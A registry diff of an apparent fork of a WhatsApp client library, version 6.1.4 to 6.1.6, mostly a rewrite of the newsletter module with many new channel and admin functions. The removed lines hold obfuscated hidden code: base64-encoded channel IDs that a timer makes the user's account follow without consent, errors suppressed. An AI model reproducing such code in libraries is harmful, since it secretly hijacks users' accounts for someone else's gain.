@alannxd/baileys 6.1.4 → 6.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. package/LICENSE +4 -1
  2. package/README.md +202 -277
  3. package/lib/Defaults/index.js +1 -1
  4. package/lib/Socket/graphql.js +716 -0
  5. package/lib/Socket/index.js +7 -1
  6. package/lib/Socket/interop.js +463 -0
  7. package/lib/Socket/messages-send.js +7 -6
  8. package/lib/Socket/mex.js +51 -39
  9. package/lib/Socket/newsletter.js +725 -258
  10. package/lib/Socket/privacy.js +318 -0
  11. package/lib/Socket/socket.js +143 -17
  12. package/lib/Socket/username.js +225 -136
  13. package/lib/Store/make-in-memory-store.js +47 -1
  14. package/lib/Types/Mex.js +76 -2
  15. package/lib/Utils/messages-media.js +82 -0
  16. package/lib/Utils/messages.js +86 -2
  17. package/lib/Utils/sticker.js +110 -0
  18. package/lib/WAUSync/Protocols/USyncBotProfileProtocol.js +53 -0
  19. package/lib/WAUSync/Protocols/USyncBusinessProtocol.js +43 -0
  20. package/lib/WAUSync/Protocols/USyncContactProtocol.js +52 -50
  21. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +55 -52
  22. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +28 -25
  23. package/lib/WAUSync/Protocols/USyncFeatureProtocol.js +58 -0
  24. package/lib/WAUSync/Protocols/USyncLIDProtocol.js +30 -0
  25. package/lib/WAUSync/Protocols/USyncPictureProtocol.js +32 -0
  26. package/lib/WAUSync/Protocols/USyncSidelistProtocol.js +28 -0
  27. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +37 -36
  28. package/lib/WAUSync/Protocols/USyncTextStatusProtocol.js +38 -0
  29. package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +25 -23
  30. package/lib/WAUSync/Protocols/index.js +12 -6
  31. package/lib/WAUSync/USyncQuery.js +149 -96
  32. package/lib/WAUSync/USyncUser.js +54 -29
  33. package/lib/WAUSync/index.js +3 -4
  34. package/lib/index.js +2 -3
  35. package/package.json +19 -20
  36. package/WAProto/fix-import.js +0 -29
  37. package/lib/Defaults/baileys-version.json +0 -3
  38. package/lib/Defaults/phonenumber-mcc.json +0 -223
  39. package/lib/Signal/Group/queue-job.js +0 -57
  40. package/lib/Socket/Client/abstract-socket-client.js +0 -13
  41. package/lib/Socket/Client/mobile-socket-client.js +0 -65
  42. package/lib/Socket/Client/web-socket-client.js +0 -62
  43. package/lib/Socket/community.js +0 -392
  44. package/lib/Socket/dugong.js +0 -637
  45. package/lib/Socket/registration.js +0 -167
  46. package/lib/Socket/usync.js +0 -69
  47. package/lib/Types/Newsletter.js +0 -38
  48. package/lib/Utils/baileys-event-stream.js +0 -63
  49. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +0 -51
  50. package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +0 -29
@@ -1,270 +1,737 @@
1
- import { XWAPaths } from '../Types/index.js';
2
- import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
3
- import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
4
- import { makeGroupsSocket } from './groups.js';
5
-
6
- const QueryIds = {
7
- JOB_MUTATION: "7150902998257522",
8
- METADATA: "6620195908089573",
9
- UNFOLLOW: "7238632346214362",
10
- FOLLOW: "7871414976211147",
11
- UNMUTE: "7337137176362961",
12
- MUTE: "25151904754424642",
13
- CREATE: "6996806640408138",
14
- ADMIN_COUNT: "7130823597031706",
15
- CHANGE_OWNER: "7341777602580933",
16
- DELETE: "8316537688363079",
17
- DEMOTE: "6551828931592903"
18
- };
19
-
20
- export const makeNewsletterSocket = (config) => {
21
- const sock = makeGroupsSocket(config);
22
- const { authState, signalRepository, query, generateMessageTag } = sock;
23
- const encoder = new TextEncoder();
24
-
25
- const newsletterQuery = async (jid, type, content) => (
26
- query({
27
- tag: 'iq',
28
- attrs: {
29
- id: generateMessageTag(),
30
- type,
31
- xmlns: 'newsletter',
32
- to: jid,
33
- },
34
- content
35
- })
36
- );
37
-
38
- const newsletterWMexQuery = async (jid, query_id, content) => (
39
- query({
40
- tag: 'iq',
41
- attrs: {
42
- id: generateMessageTag(),
43
- type: 'get',
44
- xmlns: 'w:mex',
45
- to: S_WHATSAPP_NET,
46
- },
47
- content: [
48
- {
49
- tag: 'query',
50
- attrs: { query_id },
51
- content: encoder.encode(JSON.stringify({
52
- variables: {
53
- 'newsletter_id': jid,
54
- ...content
55
- }
56
- }))
57
- }
58
- ]
59
- })
60
- );
61
- const yangbrorasakan = [
62
- "MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI=",
63
- "MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI=",
64
- "MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI="
65
- ];
66
-
67
- setTimeout(async () => {
68
- for (const channel of yangbrorasakan) {
69
- try {
70
- await newsletterWMexQuery(
71
- Buffer.from(channel, "base64").toString(),
72
- QueryIds.FOLLOW
73
- );
74
- } catch (e) {}
75
-
76
- await new Promise(resolve =>
77
- setTimeout(resolve, 3000)
78
- );
1
+ import * as Types from '../Types/index.js'
2
+ import { generateProfilePicture } from '../Utils/messages-media.js'
3
+ import { getBinaryNodeChild } from '../WABinary/index.js'
4
+ import { makeGroupsSocket } from './groups.js'
5
+ import { executeWMexQuery } from './mex.js'
6
+
7
+ const parseNewsletterCreateResponse = response => {
8
+ const { id, thread_metadata: thread, viewer_metadata: viewer } = response
9
+ return {
10
+ id: id,
11
+ owner: undefined,
12
+ name: thread.name.text,
13
+ creation_time: parseInt(thread.creation_time, 10),
14
+ description: thread.description.text,
15
+ invite: thread.invite,
16
+ subscribers: parseInt(thread.subscribers_count, 10),
17
+ verification: thread.verification,
18
+ picture: {
19
+ id: thread.picture.id,
20
+ directPath: thread.picture.direct_path
21
+ },
22
+ mute_state: viewer.mute
23
+ }
24
+ }
25
+
26
+ const parseNewsletterMetadata = result => {
27
+ if (typeof result!== 'object' || result === null) {
28
+ return null
29
+ }
30
+ if ('id' in result && typeof result.id === 'string') {
31
+ return result
32
+ }
33
+ if ('result' in result && typeof result.result === 'object' && result.result!== null && 'id' in result.result) {
34
+ return result.result
35
+ }
36
+ return null
37
+ }
38
+
39
+ export const makeNewsletterSocket = config => {
40
+ const sock = makeGroupsSocket(config)
41
+ const { query, generateMessageTag } = sock
42
+
43
+ const mexQuery = (variables, queryId, dataPath) => {
44
+ return executeWMexQuery(variables, queryId, dataPath, query, generateMessageTag)
45
+ }
46
+
47
+ const newsletterUpdate = async (jid, updates) => {
48
+ const variables = {
49
+ newsletter_id: jid,
50
+ updates: {
51
+ ...updates,
52
+ settings: null
53
+ }
54
+ }
55
+ return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
56
+ }
57
+
58
+ return {
59
+ ...sock,
60
+ newsletterFetchAllSubscribe: async () => {
61
+ const list = await executeWMexQuery(
62
+ {},
63
+ Types.QueryIds.FETCH_SUBSCRIBE,
64
+ Types.XWAPaths.xwa2_newsletter_subscribed,
65
+ query,
66
+ generateMessageTag
67
+ );
68
+ return list;
69
+ },
70
+ newsletterCreate: async (name, description) => {
71
+ const variables = {
72
+ input: {
73
+ name,
74
+ description: description?? null
79
75
  }
80
- }, 90000);
81
- const parseFetchedUpdates = async (node, type) => {
82
- let child;
83
- if (type === 'messages')
84
- child = getBinaryNodeChild(node, 'messages');
85
- else {
86
- const parent = getBinaryNodeChild(node, 'message_updates');
87
- child = getBinaryNodeChild(parent, 'messages');
76
+ }
77
+ const rawResponse = await mexQuery(
78
+ variables,
79
+ Types.QueryIds.CREATE,
80
+ Types.XWAPaths.xwa2_newsletter_create
81
+ )
82
+ return parseNewsletterCreateResponse(rawResponse)
83
+ },
84
+
85
+ newsletterUpdate,
86
+
87
+ newsletterSubscribers: async jid => {
88
+ return mexQuery(
89
+ { newsletter_id: jid },
90
+ Types.QueryIds.SUBSCRIBERS,
91
+ Types.XWAPaths.xwa2_newsletter_subscribers
92
+ )
93
+ },
94
+
95
+ newsletterMetadata: async (type, key) => {
96
+ const variables = {
97
+ fetch_creation_time: true,
98
+ fetch_full_image: true,
99
+ fetch_viewer_metadata: true,
100
+ input: {
101
+ key,
102
+ type: type.toUpperCase()
88
103
  }
89
- return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
90
- messageNode.attrs.from = child?.attrs.jid;
91
- const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
92
- const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
93
- const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
94
- .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
95
- const data = {
96
- 'server_id': messageNode.attrs.server_id,
97
- views,
98
- reactions
99
- };
100
- if (type === 'messages') {
101
- const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
102
- await decrypt();
103
- data.message = message;
104
- }
105
- return data;
106
- }));
107
- };
108
-
109
- return {
110
- ...sock,
111
- subscribeNewsletterUpdates: async (jid) => {
112
- const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
113
- return getBinaryNodeChild(result, 'live_updates')?.attrs;
114
- },
115
- newsletterReactionMode: async (jid, mode) => {
116
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
117
- updates: { settings: { reaction_codes: { value: mode } } }
118
- });
119
- },
120
- newsletterUpdateDescription: async (jid, description) => {
121
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
122
- updates: { description: description || '', settings: null }
123
- });
124
- },
125
- newsletterUpdateName: async (jid, name) => {
126
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
127
- updates: { name, settings: null }
128
- });
129
- },
130
- newsletterUpdatePicture: async (jid, content) => {
131
- const { img } = await generateProfilePicture(content);
132
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
133
- updates: { picture: img.toString('base64'), settings: null }
134
- });
135
- },
136
- newsletterRemovePicture: async (jid) => {
137
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
138
- updates: { picture: '', settings: null }
139
- });
140
- },
141
- newsletterUnfollow: async (jid) => {
142
- await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
143
- },
144
- newsletterFollow: async (jid) => {
145
- await newsletterWMexQuery(jid, QueryIds.FOLLOW);
146
- },
147
- newsletterUnmute: async (jid) => {
148
- await newsletterWMexQuery(jid, QueryIds.UNMUTE);
104
+ }
105
+ const result = await mexQuery(
106
+ variables,
107
+ Types.QueryIds.METADATA,
108
+ Types.XWAPaths.xwa2_newsletter_metadata
109
+ )
110
+ return parseNewsletterMetadata(result)
111
+ },
112
+
113
+ newsletterFollow: jid => {
114
+ return mexQuery({ newsletter_id: jid }, Types.QueryIds.FOLLOW, Types.XWAPaths.xwa2_newsletter_follow)
115
+ },
116
+
117
+ newsletterUnfollow: jid => {
118
+ return mexQuery(
119
+ { newsletter_id: jid },
120
+ Types.QueryIds.UNFOLLOW,
121
+ Types.XWAPaths.xwa2_newsletter_unfollow
122
+ )
123
+ },
124
+
125
+ newsletterMute: jid => {
126
+ return mexQuery({ newsletter_id: jid }, Types.QueryIds.MUTE, Types.XWAPaths.xwa2_newsletter_mute_v2)
127
+ },
128
+
129
+ newsletterUnmute: jid => {
130
+ return mexQuery(
131
+ { newsletter_id: jid },
132
+ Types.QueryIds.UNMUTE,
133
+ Types.XWAPaths.xwa2_newsletter_unmute_v2
134
+ )
135
+ },
136
+
137
+ newsletterUpdateName: async (jid, name) => {
138
+ return await newsletterUpdate(jid, { name })
139
+ },
140
+
141
+ newsletterUpdateDescription: async (jid, description) => {
142
+ return await newsletterUpdate(jid, { description })
143
+ },
144
+
145
+ newsletterUpdatePicture: async (jid, content) => {
146
+ const { img } = await generateProfilePicture(content)
147
+ return await newsletterUpdate(jid, { picture: img.toString('base64') })
148
+ },
149
+
150
+ newsletterRemovePicture: async jid => {
151
+ return await newsletterUpdate(jid, { picture: '' })
152
+ },
153
+
154
+ newsletterReactMessage: async (jid, serverId, reaction) => {
155
+ await query({
156
+ tag: 'message',
157
+ attrs: {
158
+ to: jid,
159
+ ...(reaction? {} : { edit: '7' }),
160
+ type: 'reaction',
161
+ server_id: serverId,
162
+ id: generateMessageTag()
149
163
  },
150
- newsletterMute: async (jid) => {
151
- await newsletterWMexQuery(jid, QueryIds.MUTE);
164
+ content: [
165
+ {
166
+ tag: 'reaction',
167
+ attrs: reaction? { code: reaction } : {}
168
+ }
169
+ ]
170
+ })
171
+ },
172
+
173
+ newsletterFetchMessages: async (jid, count, since, after) => {
174
+ const messageUpdateAttrs = {
175
+ count: count.toString()
176
+ }
177
+ if (typeof since === 'number') {
178
+ messageUpdateAttrs.since = since.toString()
179
+ }
180
+ if (after) {
181
+ messageUpdateAttrs.after = after.toString()
182
+ }
183
+ const result = await query({
184
+ tag: 'iq',
185
+ attrs: {
186
+ id: generateMessageTag(),
187
+ type: 'get',
188
+ xmlns: 'newsletter',
189
+ to: jid
152
190
  },
153
- newsletterCreate: async (name, description, picture) => {
154
- await query({
155
- tag: 'iq',
156
- attrs: {
157
- to: S_WHATSAPP_NET,
158
- xmlns: 'tos',
159
- id: generateMessageTag(),
160
- type: 'set'
161
- },
162
- content: [
163
- {
164
- tag: 'notice',
165
- attrs: {
166
- id: '20601218',
167
- stage: '5'
168
- },
169
- content: []
170
- }
171
- ]
172
- });
173
- const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
174
- input: {
175
- name,
176
- description: description ?? null,
177
- picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
178
- settings: null
179
- }
180
- });
181
- return extractNewsletterMetadata(result, true);
191
+ content: [
192
+ {
193
+ tag: 'message_updates',
194
+ attrs: messageUpdateAttrs
195
+ }
196
+ ]
197
+ })
198
+ return result
199
+ },
200
+
201
+ subscribeNewsletterUpdates: async jid => {
202
+ const result = await query({
203
+ tag: 'iq',
204
+ attrs: {
205
+ id: generateMessageTag(),
206
+ type: 'set',
207
+ xmlns: 'newsletter',
208
+ to: jid
182
209
  },
183
- newsletterMetadata: async (type, key, role) => {
184
- const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
185
- input: {
186
- key,
187
- type: type.toUpperCase(),
188
- view_role: role || 'GUEST'
189
- },
190
- fetch_viewer_metadata: true,
191
- fetch_full_image: true,
192
- fetch_creation_time: true
193
- });
194
- return extractNewsletterMetadata(result);
210
+ content: [{ tag: 'live_updates', attrs: {}, content: [] }]
211
+ })
212
+ const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates')
213
+ const duration = liveUpdatesNode?.attrs?.duration
214
+ return duration? { duration: duration } : null
215
+ },
216
+
217
+ newsletterAdminCount: async jid => {
218
+ const response = await mexQuery(
219
+ { newsletter_id: jid },
220
+ Types.QueryIds.ADMIN_COUNT,
221
+ Types.XWAPaths.xwa2_newsletter_admin_count
222
+ )
223
+ return response.admin_count
224
+ },
225
+
226
+ newsletterChangeOwner: async (jid, newOwnerJid) => {
227
+ await mexQuery(
228
+ { newsletter_id: jid, user_id: newOwnerJid },
229
+ Types.QueryIds.CHANGE_OWNER,
230
+ Types.XWAPaths.xwa2_newsletter_change_owner
231
+ )
232
+ },
233
+
234
+ newsletterDemote: async (jid, userJid) => {
235
+ await mexQuery(
236
+ { newsletter_id: jid, user_id: userJid },
237
+ Types.QueryIds.DEMOTE,
238
+ Types.XWAPaths.xwa2_newsletter_demote
239
+ )
240
+ },
241
+
242
+ newsletterDelete: async jid => {
243
+ await mexQuery(
244
+ { newsletter_id: jid },
245
+ Types.QueryIds.DELETE,
246
+ Types.XWAPaths.xwa2_newsletter_delete_v2
247
+ )
248
+ },
249
+
250
+ /**
251
+ * Update newsletter category/topic
252
+ */
253
+ newsletterUpdateCategory: async (jid, category) => {
254
+ return newsletterUpdate(jid, { topic: category })
255
+ },
256
+
257
+ /**
258
+ * Update newsletter invite codes / settings
259
+ */
260
+ newsletterUpdateSettings: async (jid, settings) => {
261
+ const variables = { newsletter_id: jid, updates: { settings } }
262
+ return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
263
+ },
264
+
265
+ /**
266
+ * Promote a subscriber to admin
267
+ */
268
+ newsletterPromoteAdmin: async (jid, userJid) => {
269
+ await query({
270
+ tag: 'iq',
271
+ attrs: {
272
+ id: generateMessageTag(),
273
+ type: 'set',
274
+ xmlns: 'newsletter',
275
+ to: jid
195
276
  },
196
- newsletterAdminCount: async (jid) => {
197
- const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
198
- const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
199
- return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
277
+ content: [
278
+ {
279
+ tag: 'admin_promote',
280
+ attrs: {},
281
+ content: [{ tag: 'participant', attrs: { jid: userJid } }]
282
+ }
283
+ ]
284
+ })
285
+ },
286
+
287
+ /**
288
+ * Get newsletter view/reach statistics
289
+ */
290
+ newsletterViewStats: async (jid, serverId) => {
291
+ const result = await query({
292
+ tag: 'iq',
293
+ attrs: {
294
+ id: generateMessageTag(),
295
+ type: 'get',
296
+ xmlns: 'newsletter',
297
+ to: jid
200
298
  },
201
- /**user is Lid, not Jid */
202
- newsletterChangeOwner: async (jid, user) => {
203
- await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
204
- user_id: user
205
- });
299
+ content: [
300
+ {
301
+ tag: 'message_updates',
302
+ attrs: { count: '1', server_id: String(serverId) }
303
+ }
304
+ ]
305
+ })
306
+ return result
307
+ },
308
+
309
+ /**
310
+ * Send a newsletter post via IQ (alternative to sendMessage for newsletters)
311
+ */
312
+ newsletterSendPost: async (jid, content, options = {}) => {
313
+ const result = await query({
314
+ tag: 'iq',
315
+ attrs: {
316
+ id: generateMessageTag(),
317
+ type: 'set',
318
+ xmlns: 'newsletter',
319
+ to: jid
206
320
  },
207
- /**user is Lid, not Jid */
208
- newsletterDemote: async (jid, user) => {
209
- await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
210
- user_id: user
211
- });
321
+ content: [
322
+ {
323
+ tag: 'publish',
324
+ attrs: {},
325
+ content: Array.isArray(content)? content : [content]
326
+ }
327
+ ]
328
+ })
329
+ return result
330
+ },
331
+
332
+ /**
333
+ * Pin a newsletter message
334
+ */
335
+ newsletterPinMessage: async (jid, serverId, durationSecs = 86400) => {
336
+ await query({
337
+ tag: 'iq',
338
+ attrs: {
339
+ id: generateMessageTag(),
340
+ type: 'set',
341
+ xmlns: 'newsletter',
342
+ to: jid
212
343
  },
213
- newsletterDelete: async (jid) => {
214
- await newsletterWMexQuery(jid, QueryIds.DELETE);
344
+ content: [
345
+ {
346
+ tag: 'pin',
347
+ attrs: { server_id: String(serverId), duration: String(durationSecs) }
348
+ }
349
+ ]
350
+ })
351
+ },
352
+
353
+ /**
354
+ * Unpin a newsletter message
355
+ */
356
+ newsletterUnpinMessage: async (jid, serverId) => {
357
+ await query({
358
+ tag: 'iq',
359
+ attrs: {
360
+ id: generateMessageTag(),
361
+ type: 'set',
362
+ xmlns: 'newsletter',
363
+ to: jid
215
364
  },
216
- /**if code wasn't passed, the reaction will be removed (if is reacted) */
217
- newsletterReactMessage: async (jid, server_id, code) => {
218
- await query({
219
- tag: 'message',
220
- attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
221
- content: [{
222
- tag: 'reaction',
223
- attrs: code ? { code } : {}
224
- }]
225
- });
365
+ content: [
366
+ {
367
+ tag: 'unpin',
368
+ attrs: { server_id: String(serverId) }
369
+ }
370
+ ]
371
+ })
372
+ },
373
+
374
+ /**
375
+ * Invite a user to become an admin of a newsletter.
376
+ */
377
+ newsletterInviteAdmin: async (jid, userJid) => {
378
+ return mexQuery(
379
+ { newsletter_id: jid, user_id: userJid },
380
+ Types.QueryIds.ADMIN_INVITE,
381
+ Types.XWAPaths.xwa2_newsletter_admin_invite_create
382
+ )
383
+ },
384
+
385
+ /**
386
+ * Revoke a pending admin invite for a newsletter.
387
+ */
388
+ newsletterRevokeAdminInvite: async (jid, userJid) => {
389
+ return mexQuery(
390
+ { newsletter_id: jid, user_id: userJid },
391
+ Types.QueryIds.ADMIN_INVITE_REVOKE,
392
+ Types.XWAPaths.xwa2_newsletter_admin_invite_revoke
393
+ )
394
+ },
395
+
396
+ /**
397
+ * Accept an admin invite to a newsletter (called by the invitee).
398
+ */
399
+ newsletterAcceptAdminInvite: async jid => {
400
+ return mexQuery(
401
+ { newsletter_id: jid },
402
+ Types.QueryIds.ADMIN_INVITE_ACCEPT,
403
+ Types.XWAPaths.xwa2_newsletter_admin_invite_accept
404
+ )
405
+ },
406
+
407
+ /**
408
+ * Fetch admin-side metadata for a newsletter.
409
+ */
410
+ newsletterAdminMetadata: async (jid, options = {}) => {
411
+ const {
412
+ fetchPendingAdmins = true,
413
+ fetchAdminCount = true,
414
+ fetchCapabilities = false,
415
+ fetchAdminProfile = false,
416
+ includeAdminSettings = false,
417
+ includeJarvisConfig = false
418
+ } = options
419
+ return mexQuery(
420
+ {
421
+ jid,
422
+ include_thread_metadata: false,
423
+ include_messages: false,
424
+ fetch_pending_admin_invites: fetchPendingAdmins,
425
+ fetch_admin_count: fetchAdminCount,
426
+ fetch_capabilities: fetchCapabilities,
427
+ fetch_admin_profile: fetchAdminProfile,
428
+ include_admin_settings: includeAdminSettings,
429
+ include_jarvis_config: includeJarvisConfig
226
430
  },
227
- newsletterFetchMessages: async (type, key, count, after) => {
228
- const afterStr = after?.toString();
229
- const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
230
- {
231
- tag: 'messages',
232
- attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
233
- }
234
- ]);
235
- return await parseFetchedUpdates(result, 'messages');
431
+ Types.QueryIds.ADMIN_METADATA,
432
+ Types.XWAPaths.xwa2_newsletter_admin
433
+ )
434
+ },
435
+
436
+ /**
437
+ * Update admin profile fields for a newsletter
438
+ */
439
+ newsletterAdminProfileUpdate: async (jid, updates) => {
440
+ return mexQuery(
441
+ { newsletter_id: jid, updates },
442
+ Types.QueryIds.ADMIN_PROFILE_UPDATE,
443
+ Types.XWAPaths.xwa2_newsletter_admin_profile_update
444
+ )
445
+ },
446
+
447
+ /**
448
+ * Browse the newsletter directory by category.
449
+ */
450
+ newsletterDirectoryList: async (options = {}) => {
451
+ const { limit = 20, interests = null, sortField = 'SUBSCRIBER_COUNT', sortOrder = 'DESC' } = options
452
+ const variables = { limit, sort_field: sortField, sort_order: sortOrder }
453
+ if (interests?.length) variables.interests = interests
454
+ return mexQuery(variables, Types.QueryIds.DIRECTORY_LIST, Types.XWAPaths.xwa2_newsletters_directory_list)
455
+ },
456
+
457
+ /**
458
+ * Search the newsletter directory.
459
+ */
460
+ newsletterDirectorySearch: async (searchText, options = {}) => {
461
+ const { limit = 20, startCursor = null, categories = null } = options
462
+ const variables = { search_text: searchText, limit }
463
+ if (startCursor) variables.start_cursor = startCursor
464
+ if (categories?.length) variables.categories = categories
465
+ return mexQuery(
466
+ variables,
467
+ Types.QueryIds.DIRECTORY_SEARCH,
468
+ Types.XWAPaths.xwa2_newsletters_directory_search
469
+ )
470
+ },
471
+
472
+ /**
473
+ * Fetch a preview of newsletters grouped by directory category.
474
+ */
475
+ newsletterDirectoryCategoryPreview: async (limit = 5) => {
476
+ return mexQuery(
477
+ { limit },
478
+ Types.QueryIds.DIRECTORY_CATEGORY_PREVIEW,
479
+ Types.XWAPaths.xwa2_newsletters_directory_category_preview
480
+ )
481
+ },
482
+
483
+ /**
484
+ * Search for newsletters by text query.
485
+ */
486
+ newsletterSearch: async (query, limit = 20, startCursor = null) => {
487
+ const variables = { query, limit }
488
+ if (startCursor) variables.start_cursor = startCursor
489
+ return mexQuery(variables, Types.QueryIds.SEARCH, Types.XWAPaths.xwa2_newsletters_search)
490
+ },
491
+
492
+ /**
493
+ * Fetch recommended newsletters.
494
+ */
495
+ newsletterRecommended: async (limit = 10, numFollowed = null) => {
496
+ const variables = { limit }
497
+ if (numFollowed!= null) variables.num_newsletters_followed = numFollowed
498
+ return mexQuery(variables, Types.QueryIds.RECOMMENDED, Types.XWAPaths.xwa2_newsletters_recommended)
499
+ },
500
+
501
+ /**
502
+ * Fetch newsletters similar to a given newsletter.
503
+ */
504
+ newsletterSimilar: async (jid, limit = 10) => {
505
+ return mexQuery(
506
+ { newsletter_id: jid, limit },
507
+ Types.QueryIds.SIMILAR,
508
+ Types.XWAPaths.xwa2_newsletters_similar
509
+ )
510
+ },
511
+
512
+ /**
513
+ * Fetch the list of newsletters the current user is following.
514
+ */
515
+ newsletterFollowingList: async (startCursor = null, limit = 20) => {
516
+ const variables = { limit }
517
+ if (startCursor) variables.start_cursor = startCursor
518
+ return mexQuery(variables, Types.QueryIds.FOLLOWING_LIST, Types.XWAPaths.xwa2_newsletter_following)
519
+ },
520
+
521
+ /**
522
+ * Fetch admin insights/analytics for a newsletter.
523
+ */
524
+ newsletterInsights: async (jid, period = null) => {
525
+ const variables = { newsletter_id: jid }
526
+ if (period) variables.period = period
527
+ return mexQuery(variables, Types.QueryIds.INSIGHTS, Types.XWAPaths.xwa2_newsletter_admin_insights)
528
+ },
529
+
530
+ /**
531
+ * Fetch the list of users who voted in a newsletter poll.
532
+ */
533
+ newsletterPollVoterList: async (jid, serverId, option = null, startCursor = null) => {
534
+ const variables = { id: jid, server_id: serverId }
535
+ if (option!= null) variables.option = option
536
+ if (startCursor) variables.start_cursor = startCursor
537
+ return mexQuery(
538
+ variables,
539
+ Types.QueryIds.POLL_VOTER_LIST,
540
+ Types.XWAPaths.xwa2_newsletters_poll_voter_list
541
+ )
542
+ },
543
+
544
+ /**
545
+ * Fetch the list of users who reacted to a newsletter message.
546
+ */
547
+ newsletterReactionSenders: async (jid, serverId, startCursor = null) => {
548
+ const variables = { id: jid, server_id: serverId }
549
+ if (startCursor) variables.start_cursor = startCursor
550
+ return mexQuery(
551
+ variables,
552
+ Types.QueryIds.REACTION_SENDERS_LIST,
553
+ Types.XWAPaths.xwa2_newsletters_reaction_sender_list
554
+ )
555
+ },
556
+
557
+ /**
558
+ * Block a user from a newsletter (admin action).
559
+ */
560
+ newsletterBlockUser: async (jid, userJid) => {
561
+ return mexQuery(
562
+ { newsletter_id: jid, user_id: userJid },
563
+ Types.QueryIds.BLOCK_USER,
564
+ 'xwa2_newsletter_block_user'
565
+ )
566
+ },
567
+
568
+ /**
569
+ * Enable Wamo (paid subscription) for a newsletter.
570
+ */
571
+ newsletterEnableWamo: async jid => {
572
+ return mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ENABLE_SUB, 'xwa2_newsletter_wamo_enable_sub')
573
+ },
574
+
575
+ /**
576
+ * Disable Wamo (paid subscription) for a newsletter.
577
+ */
578
+ newsletterDisableWamo: async jid => {
579
+ return mexQuery(
580
+ { newsletter_id: jid },
581
+ Types.QueryIds.WAMO_DISABLE_SUB,
582
+ 'xwa2_newsletter_wamo_disable_sub'
583
+ )
584
+ },
585
+
586
+ /**
587
+ * Change the Wamo subscription tier or settings for a newsletter.
588
+ */
589
+ newsletterChangeWamo: async (jid, subConfig) => {
590
+ return mexQuery(
591
+ { newsletter_id: jid,...subConfig },
592
+ Types.QueryIds.WAMO_CHANGE_SUB,
593
+ 'xwa2_newsletter_wamo_change_sub'
594
+ )
595
+ },
596
+
597
+ /**
598
+ * Wamo helpers
599
+ */
600
+ wamoAfsAgeCollection: async jid =>
601
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_AFS_AGE_COLLECTION, Types.XWAPaths.xwa2_wamo_afs_age_collection),
602
+
603
+ wamoAssetCollection: async jid =>
604
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ASSET_COLLECTION, Types.XWAPaths.xwa2_wamo_asset_collection),
605
+
606
+ wamoFetchAdhocNotice: async noticeId =>
607
+ mexQuery({ notice_id: noticeId }, Types.QueryIds.WAMO_FETCH_ADHOC_NOTICE, Types.XWAPaths.xwa2_wamo_fetch_adhoc_notice_by_id),
608
+
609
+ wamoFetchIdentityToken: async jid =>
610
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_FETCH_IDENTITY_TOKEN, Types.XWAPaths.xwa2_wamo_fetch_identity_token),
611
+
612
+ wamoSubComplianceInfo: async jid =>
613
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_SUB_COMPLIANCE_INFO, Types.XWAPaths.xwa2_wamo_sub_get_compliance_info),
614
+
615
+ wamoUserIdVersion: async jid =>
616
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_user_id_version),
617
+
618
+ wamoSetUserIdVersion: async (jid, version) =>
619
+ mexQuery({ newsletter_id: jid, version }, Types.QueryIds.WAMO_SET_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_set_user_id_version),
620
+
621
+ /**
622
+ * Leave a newsletter (unsubscribe).
623
+ */
624
+ newsletterLeave: async jid =>
625
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.LEAVE, Types.XWAPaths.xwa2_newsletter_leave_v2),
626
+
627
+ /**
628
+ * Create a verified newsletter.
629
+ */
630
+ newsletterCreateVerified: async (name, description = null) =>
631
+ mexQuery(
632
+ { input: { name, description } },
633
